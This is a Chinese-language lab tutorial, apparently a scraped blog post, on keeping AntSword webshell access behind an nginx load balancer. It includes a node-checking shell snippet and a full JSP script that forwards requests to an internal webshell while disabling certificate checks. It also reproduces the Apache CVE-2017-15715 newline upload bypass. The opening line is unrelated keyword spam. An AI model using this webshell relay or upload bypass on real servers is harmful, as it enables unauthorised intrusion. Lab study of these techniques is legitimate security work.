品牌网站建设權威大蝌蚪,外贸网站建设定做,企业信息公示系统 全国,创意设计小发明目录一、负载均衡反向代理下的webshell上传1、nginx负载均衡2、负载均衡下webshell上传的四大难点难点一#xff1a;需要在每一台节点的相同位置上传相同内容的webshell难点二#xff1a;无法预测下一次请求是哪一台机器去执行难点三#xff1a;当我们需要上传一些工具时需要在每一台节点的相同位置上传相同内容的webshell难点二无法预测下一次请求是哪一台机器去执行难点三当我们需要上传一些工具时麻烦来了难点四由于目标机器不能出外网3、环境搭建解决方法1、关机或者停服2、执行前先判断IP要不要执行3、在Web 层做一次 HTTP 流量转发二、apache换行解析漏洞一、负载均衡反向代理下的webshell上传
1、nginx负载均衡
反向代理方式其中比较流行的方式是用 nginx 来做负载均衡。我们先简单的介绍一下 nginx 支持的几种策略
名称策略轮询默认按请求顺序逐一分配weight根据权重分配ip_hash根据客户端IP分配least_conn根据连接数分配fair (第三方)根据响应时间分配url_hash (第三方)根据响应时间分配
其中 ip_hash、url_hash 这种能固定访问到某个节点的情况我们也不讨论。
我们以默认的「轮询」方式来做演示。 LBSNode1 和 LBSNode2 均存在位置相同的 Shell: ant.jspNode1 和 Node2 均是 tomcat 8 在内网中开放了 8080 端口我们在外部是没法直接访问到的。 我们只能通过 nginx 这台机器访问。nginx 的配置如下
2、负载均衡下webshell上传的四大难点
难点一需要在每一台节点的相同位置上传相同内容的webshell
我们需要在每一台节点的相同位置都上传相同内容的 WebShell一旦有一台机器上没有那么在请求轮到这台机器上的时候就会出现 404 错误影响使用。是的这就是你出现一会儿正常一会儿错误的原因。
难点二无法预测下一次请求是哪一台机器去执行
我们在执行命令时无法知道下次的请求交给哪台机器去执行。我们执行 hostname -i查看当前执行机器的 ip 时可以看到一直在飘因为我们用的是轮询的方式还算能确定一旦涉及了权重等其它指标就让你好好体验一波什么叫飘乎不定。
难点三当我们需要上传一些工具时麻烦来了
由于 antSword 上传文件时采用的分片上传方式把一个文件分成了多次HTTP请求发送给了目标所以尴尬的事情来了两台节点上各一半而且这一半到底是怎么组合的取决于 LBS 算法
难点四由于目标机器不能出外网
由于目标机器不能出外网想进一步深入只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel可在这个场景下这些 tunnel 脚本全部都失灵了。
3、环境搭建
漏洞复现 我们假定在真实的业务系统上存在一个 RCE 漏洞可以让我们获取 WebShell。
环境搭建下载地址https://github.com/AntSwordProject/AntSword-Labs cd /home/ztx/AntSword-Labs-master/loadbalance/loadbalance-jsp/docker-compose up -d查看端口号这里是18080
docker ps -a先到nginx查看一下nginx配置 用蚁剑尝试连接 在这里我们发现IP地址发生了漂移
解决方法
1、关机或者停服
首先在测试阶段我们可以关闭一台服务器只保留一台机器因为健康检查机制的存在很快其它的节点就会被 nginx 从池子里踢出去那么妥妥的就能继续了。 但在真实项目中是不允许的会严重影响业务。
2、执行前先判断IP要不要执行
执行前先判断IP要不要执行
MYIPifconfig | grep inet 172 | awk {print $2}
if [$MYIP 172.19.0.2 ]; thenecho Node1. I will execute command.\n\nifconfigelseecho Other. Try again.fi如果这里你的tomcat外网不能访问记得去Linux主机上的8080端口开放因为如果你要测试的话需要安装vim和net-tools这样一来确实是能够保证执行的命令是在我们想要的机器上了效果如图 蚁剑老是出现一点奇怪的问题这张图可以不看
3、在Web 层做一次 HTTP 流量转发
这里一定要保证每一台node上都要有相同的文件千万别用上传上传会将文件分片 修改 Shell 配置, 将 URL 部分填写为 web.jsp 的地址其它配置不变
% page contentTypetext/html;charsetUTF-8 languagejava %
% page importjavax.net.ssl.* %
% page importjava.io.ByteArrayOutputStream %
% page importjava.io.DataInputStream %
% page importjava.io.InputStream %
% page importjava.io.OutputStream %
% page importjava.net.HttpURLConnection %
% page importjava.net.URL %
% page importjava.security.KeyManagementException %
% page importjava.security.NoSuchAlgorithmException %
% page importjava.security.cert.CertificateException %
% page importjava.security.cert.X509Certificate %
%!public static void ignoreSsl() throws Exception {HostnameVerifier hv new HostnameVerifier() {public boolean verify(String urlHostName, SSLSession session) {return true;}};trustAllHttpsCertificates();HttpsURLConnection.setDefaultHostnameVerifier(hv);}private static void trustAllHttpsCertificates() throws Exception {TrustManager[] trustAllCerts new TrustManager[] { new X509TrustManager() {public X509Certificate[] getAcceptedIssuers() {return null;}Overridepublic void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {// Not implemented}Overridepublic void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {// Not implemented}} };try {SSLContext sc SSLContext.getInstance(TLS);sc.init(null, trustAllCerts, new java.security.SecureRandom());HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());} catch (KeyManagementException e) {e.printStackTrace();} catch (NoSuchAlgorithmException e) {e.printStackTrace();}}
%
%String target http://172.19.0.2:8080/ant.jsp;URL url new URL(target);if (https.equalsIgnoreCase(url.getProtocol())) {ignoreSsl();}HttpURLConnection conn (HttpURLConnection)url.openConnection();StringBuilder sb new StringBuilder();conn.setRequestMethod(request.getMethod());conn.setConnectTimeout(30000);conn.setDoOutput(true);conn.setDoInput(true);conn.setInstanceFollowRedirects(false);conn.connect();ByteArrayOutputStream baosnew ByteArrayOutputStream();OutputStream out2 conn.getOutputStream();DataInputStream innew DataInputStream(request.getInputStream());byte[] buf new byte[1024];int len 0;while ((len in.read(buf)) ! -1) {baos.write(buf, 0, len);}baos.flush();baos.writeTo(out2);baos.close();InputStream inputStream conn.getInputStream();OutputStream out3response.getOutputStream();int len2 0;while ((len2 inputStream.read(buf)) ! -1) {out3.write(buf, 0, len2);}out3.flush();out3.close();
%二、apache换行解析漏洞
Apache HTTPD是一款HTTP服务器它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞在解析PHP时1.php\x0A将被按照PHP后缀进行解析导致绕过一些服务器的安全策略。 环境下载链接https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2017-15715 搭建完毕后Apache运行在http://your-ip:8080 漏洞复现 上传一个名为1.php的文件被拦截 在1.php后面插入一个\x0A只能是一个\x0A不再拦截 访问刚才上传的/1.php/x0a发现能够成功解析apache2.4会将他解析为php后缀但这个文件不是php后缀说明目标存在解析漏洞。